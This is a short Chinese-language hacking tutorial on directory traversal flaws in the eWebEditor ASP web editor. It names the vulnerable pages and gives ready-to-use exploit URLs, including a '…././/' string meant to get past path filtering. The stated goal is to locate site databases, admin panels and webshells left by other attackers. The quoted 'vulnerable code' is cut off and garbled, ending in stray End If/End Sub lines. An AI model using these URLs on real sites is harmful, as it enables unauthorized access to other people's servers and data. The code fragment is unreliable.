这里大概说一下！目录遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本的是ewebeditor/admin/upload.asp 文件！这个文件有的不需要登陆验证，有些需要！很多有经验的管理员会把编辑器的目录设置为只读权限,不可修改！这种情况下，唯一可以利用的也就是利用遍历 目录功能查看网站文件，比如数据库路径、后台地址、其他的上传地址、最直观的就是别人留下的小马等等！这些都自由发挥了！说下漏洞利用方法！       漏洞利用方式如下:在上传文件管理页面 随便选择一个上传样式！比如ewebeditor/admin_uploadfile.asp?id=14 在id后面添加&dir=../..
类似如下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/ 可以看到网站数据库的路径！
      另外一个遍历目录的漏洞文件是 ewebeditor/asp/browse.asp
漏洞代码为 ：
Function GetList()
Dim s_List, s_Url
s_List = “”
Dim oFSO, oUploadFolder, oUploadFiles, oUploadFile, sFileName
‘Response.Write sCurrDir
‘On Error Resume Next

End If
End If
End Sub
利用方式如下:

http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码，就可以看到目录列表了！
